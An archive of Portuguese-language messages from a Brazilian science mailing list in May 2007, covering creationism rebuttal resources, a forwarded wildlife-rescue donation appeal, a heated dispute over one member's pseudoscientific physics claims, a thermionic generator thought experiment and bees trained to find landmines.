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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 17:08

> Em 26/05/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> escreveu:
> > Preciso de ajuda para rebater os argumentos dele, caso haja espaço para
> > perguntas. Em tempo, a palestra é promovida pelo Sindicato dos Professores
> > da UTFPR, não pela reitoria ou por algum departamento, e até o momento não
> > sei se conta com o apoio institucional. Espero que não.

Mas se seu resumo é correto, ele está "só reclamando" e não colocando
nada no lugar. Mas na pagina dele, não tal ligação sobre a teoria da
evolução ser religião, mas mais a questão a reclamação reducionista.

Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
experiência em debates do tipo, tanto ao vivo como na net,
principalmente contra o pessoal mais falido Design Inteligente. Vale a
pena investir um bom tempo nos posts de lá, e de maneira instrutiva,
nos comentários.

E se o rapaz ai realmente for pela linha de "evolução é religião",
recomendo fortemente a leitura dessa resposta em particular.
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comment-179277

Na mesma linha, um antigo comentarista chamado Lenny Frank (ou Flank)
tinha também uma página no geocites com muito material a respeito. Não
consigo localizar atrás do proxy que estou (blogs e geocities, no
way), mas não deve ser impossível de encontrar.

Por último, mas de nenhuma maneira menos importante, os belíssimos
materiais do talkreason.org, em especial o imprecindível Index to
Creationist Claims

http://www.talkorigins.org/indexcc/

Em especial
http://www.talkorigins.org/indexcc/list.html#CA100-CA499

No detalhe do especial
http://www.talkorigins.org/indexcc/CA/CA220.html
http://www.talkorigins.org/indexcc/CA/CA612.html
e
http://www.talkorigins.org/indexcc/CA/CA610.html

Recomendo levar impresso, e se possível, traduzir.

André


SUBJECT: urgente!
FROM: "deise0109" <deise0109@bol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 28/05/2007 19:12

APREENSÃO DE MADRUGADA
Enviado por: "arthur de paula" arthurpaula@yahoo.com.br arthurpaula
Dom, 27 de Mai de 2007 12:51 pm
Rede 3setor - 6 anos - Mais de 10.000 assinantes
http://br.groups.yahoo.com/group/3setor
Marcelo SOS Fauna escreveu: De: "Marcelo SOS Fauna"
Para:
Assunto: APREENSÃO DE MADRUGADA
Data: Fri, 25 May 2007 12:41:51 -0300
Acima, fotografias desta madrugada

ATENÇÃO – PRECISAMOS COM URGÊNCIA MÁXIMA
No início da noite de ontem, a Policia Civil de São Paulo realizou uma grande apreensão de animais silvestres na zona leste de São Paulo.
A SOS Fauna acabou recebendo este animais, quase QUINHENTOS, estamos fazendo verdadeiras manobras para dar continuidade do trabalho de PRIMEIROS SOCORROS, a situação de muitas aves, principalmente pássaros-pretos e curiós é EXTREMAMENTE CRÍTICA.
Estamos precisando com URGÊNCIA de alguns itens e gostaríamos da participação de quem puder colaborar, estamos há mais de 29 horas sem dormir por causa deste trabalho e pedimos que as pessoas que gostam de animais e tem real consciência em relação à esta problemática do tráfico de animais silvestres, possam de alguma forma ajudar.
Cremos que muitos sabem qual é a real situação desta problemática no país, e só existimos e realizamos este trabalho por ser absolutamente necessário.
Segue nossa lista de itens e os telefones para contato.
Deixamos celulares por questões de protocolo, mas após contato podemos ceder o telefone fixo.
São os itens:
1. Mistura para papagaios com fruta, da NUTRIPÁSSAROS, encontrada na COBASE ou se preferirem temos como adquirir diretamente com o fabricante preço bem inferior, cerca de R$ 19,00, precisamos cerca de 120 kg para os próximos dias;
2. Uva passa e fruta cristalizada, as quantidades que conseguirem;
3. Mel, a quantidade que conseguirem;
4. Milho verde em espiga, fresco, MUITO MILHO VERDE;
5. Essência de baunilha;
6. Banana, MUITA BANANA;
7. Amendoim cru, com pele e sem casca, MUITO AMENDOIM;
8. Castanha de caju triturada;
9. Arroz em casca, muito arroz em casca;
10. Farinha de milho em flocos;
11. Biscoitos de milho, tipo rosquinhas (sem recheio);
12. Sabão em pó, MUITO SABÃO EM PÓ;
13. Detergente, dezenas de frascos, se possível;
14. Cloro para limpeza;
15. Sacos de lixo preto de 60 litros, MUITOS SACOS DE LIXO;
16. Jornal;
17. Bebedouros e comedouros diversos para aves, tamanhos pequeno, médio e grande, MUITOS;
18. Luvas de procedimentos tamanhos P, M e G, muitas luvas;
19. Máscaras descartáveis, MUITAS MÁSCARAS.
Precisamos de muitos outros itens também, ocorre que, face à gravidade e URGÊNCIA do momento, é difícil lembrar de tudo.
Quem eventualmente quiser realizar alguma colaboração em conta corrente, seguem os dados:
Banco Itaú S/A
Para crédito de SOS FAUNA – ORG DEF FAUNA E FLORA BRASILEIRA
Agência 0196
Conta Corrente: 60.720-4
Em casos de DOC, CNPJ: 03.884.927/0001-20
IMPORTATÍSSIMO
Precisamos de muita coisas HOJE
Contatos com Marcelo:
011 8323 7449
011 8351 6966
IMPORTANTE: DIVULGUEM ESTE E-MAIL



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Ferrari: ABC da CIENCIA
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 20:35

Diga lá, Sandro Silva!

S. Silva: ... ri muito e me incomodei na mesma proporção com as
argumentações do Ferrari. Fiquei impressionado com a paciência de
muitos colegas da lista,...

Manuel: Não é paciência não: é sadismo! :-)

E aposto que, no fim da polêmica, o único que permanecerá em pé será
o Ferrari. Já ouviu falar no João-teimoso? Trata-se de um boneco de
plástico, inflável, que, por mais que leve soco na cara, sempre se
levanta, altiva e altaneiramente. No caso do João-teimoso, o Léo tem
a explicação física para esse fenômeno. Quanto ao Ferrari, acredito
que o seu centro de gravidade está menos no cérebro do que nos
colhões (seu saco escrotal, transbordande de auto-estima, deve
encostar nos joelhos ou, quiçá, na batata das pernas).

Ferrari, entenda isso como um elogio. Aqui, na terrinha, quando se
quer elogiar alguém, se diz: "Ô macho escroto!" :-)

Abraços,
Manuel Bulcão



SUBJECT: Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 21:17

Olá JC, Silvio Cordeiro e meus demais pupilos da C-List,

Zé Carlos: Eu francamente não vejo nada de sobrenatural no Bulcão.
Você vê? Você acha que inteligência é algo sobrenatural???

Silvio: Essa puchada do JC merece ser guardada, depois de gravada no
bronze, entre as obras primas do turiferarismo nacional: Um busto
seu, na praça principal aí da santa terrinha, com esses dizeres
poderia levá-lo a culminâncias dignas da ABL... modestamente, a
endosso.

Manuel: Bem, minha mãe, D. Eunice, sempre me disse que a minha
inteligência era um dom de Deus, o que significa dizer que se trata
de algo sobrenatural.

Já o meu querido Prof. Vianney Mesquita, que escreveu a apresentação
do meu último livro, "Sombras do Iluminismo", afirmou:

"Católico praticamente como sou, porém, só posso é acreditar
piamente, ainda mais, que uma criatura tão bem aquinhoada com a
inteligência e praparo intelectual provém de Deus, é ser criado pela
Mão Divina. Não pode ser de outro jeito!" (BULCÃO, Manuel; "Sombras
do Iluminismo"; Ed. 7Letras; Rio de Janeiro, 2006; p. 16).

Modestiamente, não acredito nessa possibilidade, mas... sei lá!

Bênçãos,
Manuel Bulcão



SUBJECT: Bulas de remédios -
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 28/05/2007 22:23

( já sei... já sei... a única doença que vc não tem é hipocondria!
divirta-se! :)


>Subject: Fw: Bulas de remédios - IMPORTANTE
>Date: Mon, 28 May 2007 17:39:01 -0300
>
>
>
>
> ATENÇÃO
> Se você perdeu a bula de um medicamento ou não está entendendo nada
>do que está escrito lá, nem tão pouco ENXERGANDO as letras minúsculas,
>visite esse site:
>
> http://bulario.bvs.br
>
> Você encontrará bulas de todos os medicamentos disponíveis no
>mercado, sendo que há duas versões:
> Para leigos, onde vem tudo mastigadinho, numa linguagem de fácil
>entendimento, explicando o que são aquelas palavras indecifráveis que estão
>lá;
> E para profissionais de saúde , com detalhamento das substâncias
> E com todos aqueles palavrões que só eles entendem.
> Legal esse serviço prestado pela ANVISA.
>
> DIVULGUE E REPASSE
>
>
>
>
>--------------------------------------------------------------------------------
>E-mail classificado pelo Identificador de Spam Inteligente.
>Para alterar a categoria classificada, visite o Terra Mail
>
>
>




SUBJECT: Re: Sobre o abismo, para Silvio
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 22:28

Olá, Silvio

> Meus pensamentntos são evolucionistas, concordo com Feuerbach que
escreveu que a alma é uma tolice: por definição é um epifenômeno da
corporeidade já que a origem de todas as coisas é a matéria.

Também desconfio que a alma, ou experiência subjetiva, como prefiro
chamar, é um epifenômeno. Mas tenho minhas dúvidas. Na verdade, a
experiência subjetiva trata-se da mais abissal das questões, "o
abismo da filosofia", como, se eu não me engano, colocou Rousseau.
Steven Pinker joga a toalha quanto a essa questão. Não vejo como seja
possível estabelecer uma relação causal entre o objetivo e o
subjetivo. Eis aí um fenômeno que parece existir sem causas. Eu tendo
a pensar que é alguma propriedade da atividade elétrica do cérebro ou
do processamento da informação.

Saudações,
João de Carvalho




SUBJECT: Re: J. Carvalho: Ensaio sobre o cultural, o social e o biológico.
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/05/2007 22:32

Olá, Silvio.

> A cultura é percebida pelos sentidos e o cérebro, o processador
dessa cultura, é biológico: ocorre aí a interação entre a mesma coisa
pois tanto a natureza como o homem são produtos de processos
bioquímicos quando há 3.740.000.000 anos surgiu a vida na Terra.
> os dois se auxiliam mútuamente: o cérebro se expande para acumular
mais informações, a natureza segue seu curso transformando o perfil
da biosfera.

> Concorda?

Desculpe. Não entendi muito bem o que você quis dizer.

Saudações,
João




SUBJECT: Re: [ciencialist] Re: O Xadrez do Takata
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 10:52

Olá Takata!

Takata >>> vc sabe ou não resolver?

--- Porque isto lhe importa tanto? É alguma uma
espécie de teste de fisiques pra entrar no seu clube
dos fisicos? Não estou interessado em entrar pra
clube. Dialogar com vcs sim, me interessa, mas não
entrar pro clube não.

Takata >>> Se não sabe diga: "não sei resolver a
questão proposta". Se sabe, demostre q sabe mostrando
a resolução.

--- Quer que eu lhe demostre assim como vc me
demontrou a divisão do carro? Takata, já lhe disse:
este problema é seu! Com todo o respeito.

Takata >>> Não adianta ficar reclamando de moderação.
Todas as suas mensagens estão sendo aprovadas.

--- Isto é verdade. Não tenho do que reclamar. Mas
também estou cumprindo minha parte do trato, só
palavras de dicionários.



sinceramente
ferrari


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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 11:05

Olá Luiz!

Antes um pergunta: vc está na lista pedra de roseta?
Que nome usá lá?

Luiz >>> Será que ele sabe o que é carga elétrica e
não quer nos contar?

--- já contei. o que a fisica chama de carga elétrica
é uma forma de conscientição humana do pulsar
universal.

Luiz >>> Quando é que ele vai nos dar uma mínima
informação com substrato?

--- tá ai!

Luiz >>> Quanto tempo ainda vamos suportar essa
mentalidade que nada sabe nem do topo nem do alicerce
de um conhecimento científico? Vamos ficar respondendo
perguntas sem qualquer contexto?

--- Ué, use o seu livre-arbitrio de particula cheia
independente do espaço vazio? Ou será que este
livre-arbitrio é apenas uma ilusão, assim como a
independencia das particulas?


sinceramente
ferrari


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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 11:18

Olá Sandro!

Sandro >>> Ferrari fala que o limite dele é apontar
mas parece ele aponta para o próprio nariz.

--- Exatamente Sandro! Aponto pro próprio nariz mesmo.
É isto que os cientistas precisam se dar conta, que a
ciencia começa pelo cientista. Sem o cientista, e sem
o processo de cognição que o cientista usa pra
conhecer a realidade não tem ciencia. O cientista
precisa reconhecer a influencia do próprio nariz na
ciencia. É só isto que falo, do nariz do cientista. É
só isto que ninguém aqui quer reconhcer, o próprio
nariz. Mas que impecilho morumental é este? A resposta
é simples. Não é uma resistencia dos cientistas, é uma
resistencia dos fisicos. Quando todos os cientistas
olharem pro próprio nariz, com tem feito a mecanica
quantica, por exemplo, a fisica vai deixar de ser o
rei da ilha, o rei da ciencia, e vai ter que se
conformar com seu lugar de mais um ciencia. E ser mais
uma, dói. Quem é rei não quer perder a magestade. Mas
o rei tem nariz. Olhe e verá.

sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 11:26

Olá Manuel!

Manuel >>> Ferrari, acredito que o seu centro de
gravidade está menos no cérebro do que nos colhões
(seu saco escrotal, transbordande de auto-estima, deve
encostar nos joelhos ou, quiçá, na batata das pernas)

--- Sim, Manoel, não tenho pressa, e nem posso ir pra
lugar nenhum além do aqui e agora. Assim, só me resta
ficar observando a fisica entrar no casulo e virar
borboleta. Embora nem ela mesma perceba o que está lhe
acontecendo. Mas como sempre diz o Smith ao Neo, é
inevitável.

Manuel>>> Ferrari, entenda isso como um elogio. Aqui,
na terrinha, quando se quer elogiar alguém, se diz: "Ô
macho escroto!" :-)

--- Ok.


sinceramente
ferrari

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SUBJECT: Abelhas prospectoras.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 29/05/2007 11:55

Cientistas treinam abelhas para localizar minas
Nicholas Walton Nicholas Walton de Zagreb
BBC


Abelhas podem ser novo instrumento para desativar minas


Cientistas da Universidade de Zagreb, na Croácia, estão treinando abelhas para localizar explosivos em campos minados.
Segundo Nicola Kesic, chefe da equipe de pesquisa, a idéia é associar o cheiro dos explosivos com os alimentos das abelhas.

A técnica usada para treinar os insetos é impregnar com explosivos do tipo TNT áreas do solo perto de regiões onde as abelhas vão buscar seus nutrientes.

Kesic acredita que as abelhas ensinadas iriam para áreas onde poderiam sentir o cheiro de explosivos e, mesmo se algumas minas não forem detectadas, elas poderiam então ser mais facilmente identificadas.

Fácil e barato
A criação de abelhas é muito comum nos Bálcãs e, como leva poucos dias para treinar uma colônia de abelhas, Kesic disse que a técnica pode ser uma opção barata e de fácil acesso para neutralizar minas na região.

Minas e bombas que não explodiram ainda são um grande problema em várias partes da antiga Iugoslávia, inclusive na Bósnia, em Kosovo, na Macedônia e na própria Croácia.

Estima-se que até 250 mil minas continuem escondidas no país e mais de cem pessoas morreram em acidentes com essas armas na Croácia desde 1998.

Operações para detectar e neutralizar as minas são lentas e caras e, mesmo depois que uma área é considerada limpa, algumas minas podem ter passado despercebidas.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Nao vai funcionar! Mas, por que?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/05/2007 13:13

Oi pessoal,

estou cá com uma idéia maluca e tenho plena convicção de que não irá funcionar (porque muitos físicos, com certeza, já pensaram nisso!) ... mas ainda não achei o argumento necessário para o não funcionamento. Nem sei se tem algo assim pelos livros!
Vejamos:

Suponha uma cúpula metálica, oca (tipo da usada nos geradores de Van De Graaff), internamente evacuada (um bom 'vácuo industrial') e sustentada por um suporte isolante (vidro, pvc etc.). No interior dessa cúpula há um filamento (os fios saem estrategicamente por isoladores de porcelana engastados na cúpula metálica) ligado a uma fonte de tensão externa que pode levá-lo ao rubro ou mesmo ao 'branco'. Esse filamento, e sem tocar nele, está envolvido por um cilindro metálico que está em contato elétrico (internamente) com a cúpula.
Minha idéia (esdrúxula) é que, aquecendo o filamento ao rubro, ele emitirá elétrons (efeito termelétrico) e esse elétrons incidindo no cilindro metálico será encaminhado para o exterior da cúpula, eletrizando-a cada vez mais (obviamente até atingir o limite de ruptura de potencial no ar externo; faíscas).
Se essa trapizonga funcionasse (o que duvido muito) teríamos o gerador de Van De Léo (sorry), sem correia, motores, atritos etc.
Na verdade, se a coisa funcionasse, bastaria colocar dentro de uma cúpula metálica, uma válvula termiônica (um pentodo de potência, por exemplo) com os dois fios de alimentação do filamento saindo para o exterior e o seu anodo (placa) ligado internamente à cúpula. Não seria preciso o tal 'vácuo' no interior da cúpula, a válvula já preencheria esse requisito.
Quer que faça um desenho?

No aguardo das pedradas .......

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Nao vai funcionar! Mas, por que?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/05/2007 15:04

Ah! Claro, o catodo da válvula ligado a um dos terminais do filamento e externamente, fonte com esse terminal aterrado. Senão o catodo iria ficar cada vez mais positivo (pela perda de elétrons) e não deixaria escapar elétron algum! Claro! Óbvio!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 29 de maio de 2007 13:13
Assunto: [ciencialist] Nao vai funcionar! Mas, por que?


Oi pessoal,

estou cá com uma idéia maluca e tenho plena convicção de que não irá funcionar (porque muitos físicos, com certeza, já pensaram nisso!) ... mas ainda não achei o argumento necessário para o não funcionamento. Nem sei se tem algo assim pelos livros!
Vejamos:

Suponha uma cúpula metálica, oca (tipo da usada nos geradores de Van De Graaff), internamente evacuada (um bom 'vácuo industrial') e sustentada por um suporte isolante (vidro, pvc etc.). No interior dessa cúpula há um filamento (os fios saem estrategicamente por isoladores de porcelana engastados na cúpula metálica) ligado a uma fonte de tensão externa que pode levá-lo ao rubro ou mesmo ao 'branco'. Esse filamento, e sem tocar nele, está envolvido por um cilindro metálico que está em contato elétrico (internamente) com a cúpula.
Minha idéia (esdrúxula) é que, aquecendo o filamento ao rubro, ele emitirá elétrons (efeito termelétrico) e esse elétrons incidindo no cilindro metálico será encaminhado para o exterior da cúpula, eletrizando-a cada vez mais (obviamente até atingir o limite de ruptura de potencial no ar externo; faíscas).
Se essa trapizonga funcionasse (o que duvido muito) teríamos o gerador de Van De Léo (sorry), sem correia, motores, atritos etc.
Na verdade, se a coisa funcionasse, bastaria colocar dentro de uma cúpula metálica, uma válvula termiônica (um pentodo de potência, por exemplo) com os dois fios de alimentação do filamento saindo para o exterior e o seu anodo (placa) ligado internamente à cúpula. Não seria preciso o tal 'vácuo' no interior da cúpula, a válvula já preencheria esse requisito.
Quer que faça um desenho?

No aguardo das pedradas .......

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Fala sério, Ferrari: ABC da CIENCIA
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 17:38

Olá Ferrari

Ferrari: " sinceramente"

Sinceramente? Você é completamente doido, varrido..:-) Mas tem um ego
gigantesco, e uma certeza inabalável de que só você "viu a verdade", e
que só seu "intelecto superior" pode perceber erros crassos, óbvios,
de gente como Hawking e Einstein.

Não é o primeiro, e não será o último, mas é um dos que incomoda mais
(não por nos "contar a verdade que recusamos enxergar", mas
simplesmente por não falar coisa com coisa, com ares de grandes
sabedorias (gostaria de ver um debate entre você e Paulo (argh)
Coelho, ou melhor, não gostaria não..:-).

Ferrari: "já contei. o que a fisica chama de carga elétrica é uma
forma de conscientição humana do pulsar universal."

Desculpe o mau jeito, mas esta m... vale tanto quanto afirmar que
"elétrons são geléia de framboesa excretadas por poros da pele de
anjos celestiais"..:-) Ou seja, nada.

Conscientização humana, mesmo escrito de forma incorreta, não explica
a carga elétrica, não produz previsões verificáveis, não apresenta
nada que possa remotamente ser chamado de "conhecimento", muito menos
científico. É só um "arroto" pós-modernista que malucos diversos
gostam de produzir para se passar por grandes mentes (por favor, só
fique bravo se a carapuça servir, ok?).

Prove suas alegações, Ferrari, mostre evidências que possamos
verificar, mostre no que isso resulta, que desdobramentos esse
"conhecimento" produz, que previsões ele permite, qualquer coisa!!!
Diga o que fazer com esse "conhecimento" fantástico, ou pare de
enrolar e chatear!

Ou será o mesmo que explicar carga elétrica com geléia de framboesa de
poros de anjos celestiais, uma frase sem sentido que depende de fé
para ser aceita ou não!

Ferrari: "Ué, use o seu livre-arbitrio de particula cheia
> independente do espaço vazio? Ou será que este
> livre-arbitrio é apenas uma ilusão, assim como a
> independencia das particulas?"

Não faço a MENOR idéia do que isso quer dizer! Não faz o MENOR
sentido, em qualquer modo de analisar! Livre-arbítrio de partícula
cheia vazia?

Fala sério, você tira seus textos do "Gerador de Frases Aleatórias",
não tira?..:-)

E está de gozação conosco, tentando perturbar uma lista com maluquices
diversas, apenas por diversão, não está? Tem certeza de que não se
chama Bradock/Junior/Tagore/PubMed/etc?

Por favor, Ferrari, poupe-nos de tanto xixi com tinta, tanto xixi em
forma de bytes, tanta bobagem vendida como "grande sabedoria". Vá
salvar o mundo em outra lista, por favor..:-)

Perder tanto tempo, tantas mensagens, tantas mentes capazes tentando
explicar para você todos os seus erros e enganos, mas sem sucesso
algum, é uma coisa muito triste de ver, em especial nesta lista que é
uma das melhores que existem..:-(

Homero

PS: Peço desculpas antecipadas aos moderadores se exagerei no teor,
mas isso está me dando nos nervos, ver tanto esforço por parte dos
listeiros e NENHUM resultado ou consideração por parte do Ferrari.

E a "carga elétrica que é 'conscientição' humana" foi a gota d´agua..:-)








--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Luiz!
>
> Antes um pergunta: vc está na lista pedra de roseta?
> Que nome usá lá?
>
> Luiz >>> Será que ele sabe o que é carga elétrica e
> não quer nos contar?
>
> --- já contei. o que a fisica chama de carga elétrica
> é uma forma de conscientição humana do pulsar
> universal.
>
> Luiz >>> Quando é que ele vai nos dar uma mínima
> informação com substrato?
>
> --- tá ai!
>
> Luiz >>> Quanto tempo ainda vamos suportar essa
> mentalidade que nada sabe nem do topo nem do alicerce
> de um conhecimento científico? Vamos ficar respondendo
> perguntas sem qualquer contexto?
>
> --- Ué, use o seu livre-arbitrio de particula cheia
> independente do espaço vazio? Ou será que este
> livre-arbitrio é apenas uma ilusão, assim como a
> independencia das particulas?
>
>
> sinceramente
> ferrari
>
>
> EXPERIMENTE XIXI COM TINTA (novo
livro do Ferrari):
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> MEU PORTAL:
> http://marceloferrari.blogspot.com
>
> Para receber meus textos inéditos (de literatura), envie um
email para:
> mferrari-subscribe@yahoogrupos.com.br
>
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SUBJECT: Re: O Xadrez do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 17:46

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> vc sabe ou não resolver?
>
> --- Porque isto lhe importa tanto?

Oras, se vc quer analisar a fórmula (e convencer de q sua
interpretação é correta) precisa demonstrar q a conhece. Nada mais
direto para demonstrar familiaridade com a fórmula do q saber
aplicá-la corretamente. Do contrário vc será um pedreiro q não sabe o
q é um tijolo (ou argamassa, ou concreto, ou edificação, etc).

Diga: vc sabe ou não resolver? Se sabe, por favor, mostre a resolução.

[]s,

Roberto Takata



SUBJECT: Re: Fala sério, Ferrari: ABC da CIENCIA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 17:51

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Prove suas alegações, Ferrari, mostre evidências que possamos
> verificar, mostre no que isso resulta, que desdobramentos esse

Homero, pegue uma cadeira, de pé vc vai cansar esperando isso do
Ferrari. O cara fica enrolando pra responder se sabe ou não resolver o
exercício - como ele não sabe resolver isso acha q ficar enrolando vai
enganar alguém...

[]s,

Roberto Takata



SUBJECT: Re: O Xadrez do Takata
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 17:51

Olá Ferrari

Ferrari: "Porque isto lhe importa tanto?"

Porque é fundamental, Ferrari, já que você quer modificar a fórmula,
explica-la de outra forma!!! Como pretende revolucionar nosso
entendimento da física, revolucionar a compreensão da fórmula E=mc2,
sem ao menos demonstrar que entende a mesma???!!!

Como disse claramente o Takata:

Takata: "Oras, se vc quer analisar a fórmula (e convencer de q sua
> interpretação é correta) precisa demonstrar q a conhece. "

Isso é a base do que chamamos de conhecimento, em especial
conhecimento científico! A base da eficácia da ciência em explicar o
universo em que vivemos, os fenômenos que observamos!

É justamente por NÃO entender o que é ciência, método científico,
pensamento racional, lógica, e muitos outros conceitos e sistemas, que
faz toda essa confusão, achando que viagens de sua imaginação e
conhecimento real são a mesma coisa!

Você quer substituir a engenharia por Feng Shui, sem ao menos entender
o que é engenharia.

Homero




--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@>
> > Takata >>> vc sabe ou não resolver?
> >
> > --- Porque isto lhe importa tanto?
>
> Oras, se vc quer analisar a fórmula (e convencer de q sua
> interpretação é correta) precisa demonstrar q a conhece. Nada mais
> direto para demonstrar familiaridade com a fórmula do q saber
> aplicá-la corretamente. Do contrário vc será um pedreiro q não sabe o
> q é um tijolo (ou argamassa, ou concreto, ou edificação, etc).
>
> Diga: vc sabe ou não resolver? Se sabe, por favor, mostre a resolução.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: O Xadrez do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 18:05

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Você quer substituir a engenharia por Feng Shui, sem ao menos
> entender o que é engenharia.

O cara não tem nem a dignidade de dizer: "olha, não sei aplicar a
fórmula para resolver o exercício proposto"...

[]s,

Roberto Takata



SUBJECT: Fusão a frio
FROM: "hymboldt2005" <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 18:24

Pessoal estou em busca de referências sobre o tema Fusão a frio.

Quem pode me ajudar

abs

DDias



SUBJECT: Res: [ciencialist] Nao vai funcionar! Mas, por que?
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 19:09

[E]> como uma lâmpada incandescente, feita de metal (onde deveria,
ser vidro) que solta raios?
a energia volta no fio antes de saltar da bola?

_\|/_




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SUBJECT: Re: Fusão a frio
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/05/2007 21:10

--- Em ciencialist@yahoogrupos.com.br, "hymboldt2005" <hymboldt2005@...>
> Pessoal estou em busca de referências sobre o tema Fusão a frio.
>
> Quem pode me ajudar

O Chapolin Colorado! E além do Periódicos Capes e Google Scholar, vc
pode seguir as referências listadas no artigo da wikipédia:
http://en.wikipedia.org/wiki/Cold_fusion

Lá tem a referência para o famigerado artigo de Fleischmann e Pons.

E:
http://www.eere.energy.gov/news/news_detail.cfm/news_id=8694

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/05/2007 22:44

Prezado SSilva:

Procure entender: Embora raiando à metafísica, o jovem Ferrari é um poeta: E não está desgarrado aqui: suas provocações provocam pensares....

boa noite,

silvio.
----- Original Message -----
From: ssilva
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 28, 2007 2:17 PM
Subject: [ciencialist] Re: Ferrari: ABC da CIENCIA


Sou um dos mais ausentes participantes da lista, ri muito e me incomodei na mesma proporção com as argumentações do Ferrari. Fiquei impressionado com a paciência de muitos colegas da lista, uma virtude que espero um dia ter. Mas a resposta abaixo do Ferrari demonstra que ele não está aberto a aprender nada que não se encaixe em sua visão:

[Alvaro Augusto] Provavelmente você não sabe, mas a física responde muitas dessas perguntas que você citou.

[Ferrari] Sim, Alvaro, não digo que não respondem. O que digo é que as respostas não satisfazem AS MINHAS perguntas e investigações. (meu grifo)

Ferrari fala que o limite dele é apontar mas parece ele aponta para o próprio nariz. Ele é uma singularidade, no sentido matemático. :-) Penso que ignorá-lo é a melhor opção neste momento... pelo menos até que ele responda o exercício que o Takata propôs ou que seja objetivo em pelo menos uma mensagem; o que vier primeiro.

Sandro Silva

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 00:35

Meu prezado Manoel:

Tomo a liberdade de perguntar se D. Eunice é versada em altas questões de fisiologia ou é apenas uma corujisse, problema muito peculiar às queridas mães nordestinas...

um abraço,

silvio.
----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
